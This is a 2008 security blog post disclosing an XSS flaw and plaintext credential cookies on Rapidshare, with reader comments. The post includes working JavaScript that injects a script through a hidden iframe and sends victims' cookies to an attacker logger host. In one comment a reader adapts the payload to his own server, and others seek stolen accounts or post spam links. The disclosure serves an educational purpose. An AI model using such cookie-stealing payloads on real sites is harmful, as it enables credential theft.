As nktpro graciously told us, the latest of several XSS vulnerabilities affecting Rapidshare is still unpatched, one month after it had been reported to the site owners.
But what can you expect by people who stores both your username and password inside your cookie?
Yes, check it by yourself: a Rapidshare cookie is something like

user=12345-%36%37%38%39%30

.
In Javascript,

cookie = "username=" + login + "-" + pwd.replace(/./g, function(s) "%" + (s.charCodeAt(0).toString(16)))

Therefore, for a given cookie, access credentials are just

var [login, pwd] = cookie.replace(/.*=/,'').split("-"), pwd = unescape(pwd);

This means that if I embed the following code on this blog post, or even better on the FlashGot homepage, visited by thousands of Rapidshare users, I own an insane lot of accounts in a blink:

var injection = "<script>(" + (function() {
new Image().src = "http://evil.hackademix.net/cookielogger/rapidshare/?c=" +
escape(document.cookie);
}) + ")()</scr" + "ipt>"
var iframe = document.body.appendChild(document.createElement("iframe"));
iframe.style.visibility = "hidden";
iframe.src = "http://rapidshare.com/cgi-bin/wiretransfer.cgi?extendaccount=12345%22" +
encodeURIComponent(injection);

But luckily, no Rapidshare user would ever visit those shady p0rn/w4r3z sites... ;)

Update

Fixed on 6 Aug 2008.

23 Responses to “I Own Your Rapidshare Accounts”

  1. #1 therube says:

    Techno bable is fine. But how about in English (or Italian, English preferred ;-)).

    This vulnerability exists, two fold. First because of XSS vulnerabilities that exist on rapidshare.com. Second because RS in its wisdom stores un/pw in a cookie.
    Correct?

    Then there is NoScript, which can block XSS vulnerabilites, so you're safer in that regard. But if you have a RS Premium account, you are likely to have RS whitelisted as RS (requires? or at least Free does most of the time) JavaScript, which makes you vulnerable again?

    And instead of injecting 'XXX by NKTPRO', you inject your bit of script, which gathers the cookie?

    With RS whitelisted, does the "attacking" website also need to be Allowed in order for it to grab the cookie, or does the fact that the attacking site has not been allowed block the attack even though RS is Allowed?

    When RS is not allowed, NoScript, what is it, URL encodes the 'script' & so instead of "executing", it simply ends up being tacked on as part of the loaded URL?

    wiretransfer.cgi is the attach venue? In the script, the attacker is in effect hosting wiretransfer.cgi on its website, if you will, giving it access to the RS cookie?

  2. #2 Changlinn says:

    I am sorry but NKTPRO let them know, then they didn't do anything he let the world know. They still haven't done anything, they almost deserve it... Embed the code in this post, embed it in flashgot.net, and then email them the usernames and passwords, maybe then they will listen.
    Of course all us noscript users will be safe, and those of us who don't have rapidshare accounts even safer :P

  3. #3 underworld says:

    You would think they would have listened after a month? rapid share you deserve the torrent of crap emails from people loosing their accounts that you will get - because you never listened to this guy!...

  4. #4 Me, David says:

    Luckily wget doesn't use cookies ;-)

  5. #5 links for 2008-07-15 | Yostivanich.com says:

    [...] hackademix.net » I Own Your Rapidshare Accounts Dumb companies with dumb programmers make easy targets of their customers. (tags: rapidshare programming webdevelopment security) [...]

  6. #6 Giorgio says:

    @therube:
    How many questions! :)

    This vulnerability exists, two fold. First because of XSS vulnerabilities that exist on rapidshare.com. Second because RS in its wisdom stores un/pw in a cookie.
    Correct?

    Yes

    Then there is NoScript, which can block XSS vulnerabilites, so you’re safer in that regard. But if you have a RS Premium account, you are likely to have RS whitelisted as RS (requires? or at least Free does most of the time) JavaScript, which makes you vulnerable again?

    No!
    If you've got NoScript, you're safe no matter if Rapidshare or even the attacker site is whitelisted.
    Despite what some people (including a certain guy that we will call just W. P.) still believe, NoScript's XSS filters work independently from your whitelist.

    And instead of injecting ‘XXX by NKTPRO’, you inject your bit of script, which gathers the cookie?

    Exactly.

    With RS whitelisted, does the "attacking" website also need to be Allowed in order for it to grab the cookie, or does the fact that the attacking site has not been allowed block the attack even though RS is Allowed?

    No, generally speaking the "attacking" website just needs RS to be allowed: I used JavaScript code in my "attack" didactic example just to make more apparent the various parts of the attack (i.e. the iframe as an automatic navigation trigger, the target vulnerable RS URL and the injected code), but they could be composed on the server side by the attacker site and just an iframe (or a meta-refresh, or a normal link) be sent to the client.
    This means that if you use other means, different than NoScript, to block JavaScript selectively (e.g. Opera's site preferences) you're not protected from these attacks as soon as you enable RS.
    On the opposite, NoScript "detects" the injection and sanitizes it, so you're completely safe even if RS is whitelisted.

    When RS is not allowed, NoScript, what is it, URL encodes the ’script’ & so instead of "executing", it simply ends up being tacked on as part of the loaded URL?

    Correct, if your "not allowed" was a typo (I corrected it in the quote above). If the target is allowed, NoScript filters and neutralizes the cross-site request.

    wiretransfer.cgi is the attach venue? In the script, the attacker is in effect hosting wiretransfer.cgi on its website, if you will, giving it access to the RS cookie?

    Not exactly: wiretransfer.cgi is a RS server side script which is vulnerable to injection.
    The attacker can inject its code in the generated page, so RS involuntarily hosts the attacker's script in its own domain, thus the attacker is allowed to grab the cookie which otherwise would be guarded by the browser built-in "same domain policy".

    Finally, you couldn't see any result when you tried to run my Javascript sample for several reasons:

    1. My script just injects an invisible iframe in the current page. You can't see invisible stuff, can you?
    2. The iframe itself may be blocked by NoScript, depending on your Plugins options
    3. If RS is not allowed, the RS target page loads into the invisible iframe but nothing else happens
    4. If RS is allowed, the RS target page loads into the invisible iframe but the injection is defeated by NoScript, so nothing else happens again
    5. Finally, if you manually force an "unsafe reload", the compromised RS page loads and an invisible (again) request is made to evil.hackademix.net logging your too much explicit cookie
  7. #7 pink cotton says:

    I need to speak with you, Mister!!

  8. #8 Giorgio says:

    @pink cotton:
    use my email address, then...

  9. #9 Auge says:

    Can somebody send me a rapidshare premium account I can use? :D

    The process seems very complicated. Hope you can mail me a few premium accounts with their passwords @ augianempire@gmail.com

    Thanks
    -Auge :)

  10. #10 while true {true=false} says:

    >> augianempire@gmail.com

    Added to spam lists =-)

  11. #11 vishal says:

    can anybody provide me a free rapidshare premium accounts i tried wht u code it don't understand how to implament it. so can anybody plz give any premium accounts .
    you can send mail to my mail id prudencevishal@aol.com

  12. #12 MORON BASHA says:

    (Sigh).........Vishal, you're a moron.

    Nobody will ever give you free rapidshare premium. Of course I have some fake
    rapidshare premium logins for you to download if you want to bolster my points,
    so my RS account can pay for itself. By all means you can have em.

    Just let me know. ROFL!

    Dont want that? Awww thats too bad, because thats the closest you
    will ever get to getting a RS Premium account by begging people on sites.
    Save you're effort, kid - spend that effort on finding a JOB, so you can
    PURCHASE a RS Premium account like the rest of us.

    The fact that we have one and you don't is not anyone else's problem. Its yours.

  13. #13 Steph says:

    [injection] contains the hidden script that sends the info right?
    [iframe] contains the iframe right?
    When it gets to iframe.src, it takes the info from the rapidshare account and does [injection] right?

    So now the only thing I need to understand is how [injection] is working and how you’re logging the info on your server.

  14. #14 newbie says:

    Hi Giorgio. What is the purpose for those parenthesis around the function in your injection variable? Also, what is this thing with the braces called: var [login, pwd] ? Thanks

  15. #15 Giorgio says:

    @Steph:
    All correct.
    [injection] is working because the Rapidshare CGI script echoes it back like it is, so the thing is rendered as a client side script.
    I log the cookie to my server by creating an Image object and using the URL for my logger as its

    src

    property: that URL is immediately loaded in background.

    @newbie:
    No purpose for the parentheses around the function, other than readability: it means create this function but evaluate it in a string context, just like calling its

    toString()

    method.

    var [login, pwd] =

    is a destructuring assignment.

  16. #16 Steph says:

    Cool thanks!
    But now... how do you access the info logged on your server? Is it just in a log that logs all the requests to your server, so when someone requests the image object source, the request for the source is recorded in your log?
    It's the only bit I'm not sure to understand, where the info is recorded.
    Thanks! :3

  17. #17 Steph says:

    It's okay, I figured it out by trying it myself. The requests are logged in the Raw Access log on my server :3

    But I'm not sure how I can embed this code on a webpage. I tried to post it on my blog to test it. I posted it in the "website" field in a comment, like this :

    http://rapidshare.com/cgi-bin/wiretransfer.cgi?extendaccount=12345%22%3E%3Cscript%3E((function()%20{new%20Image().src%20=%20"http://www.wasabite.com/cookielogger/rapidshare/?c="%20%2B%20escape(document.cookie);}))()%3C/script%3E

    The link appears correctly in the status bar but when I click on it, but it shows up like this in the URL bar :
    http://rapidshare.com/cgi-bin/wiretransfer.cgi?extendaccount=12345"> <== See the ?c= %2B escape part... there is no "+"

    I also tried on a forum using bbCode.
    [img size=150]http://rapidshare.com/cgi-bin/wiretransfer.cgi?extendaccount=12345%22%3E%3Cscript%3E((function()%20{new%20Image().src%20=%20"http://www.wasabite.com/cookielogger/rapidshare/?c="%20%2B%20escape(document.cookie);}))()%3C/script%3E[/img]

    I have absolutely no clue if it will work. I've never worked with JavaScript before, so I don't know anything about it. The only thing I know is C++ that is very similar to JS.

  18. #18 N00b says:

    I hear that rapidshare have fixed this exploit now :(

    Wondered why i couldnt get it to work!!

    Is there any other way to do this?

  19. #19 Dronen says:

    Fixed on 06-Aug-2008

  20. #20 smart says:

    free rapidshare premium account!!!
    http://www.AWSurveys.com/HomeMain.cfm?RefID=smartnike

  21. #21 Hacking Yahoo/Gmail/Hotmail Accounts (A-Z Guide) says:

    [...] users (and I repet myself) TEND TO USE THE SAME PASSWORD over and over again. Take a look at this article which is an example of such an attack. I’m sure the majority of rapidshare users use [...]

  22. #22 Samsul says:

    Right @N00b, I wonder if there's any way to do this :-)

  23. #23 kristine says:

    http://rapidshare.com/files/230103712/generator_RS_Premium.rar

    best way is the generator

Bad Behavior has blocked 599 access attempts in the last 7 days.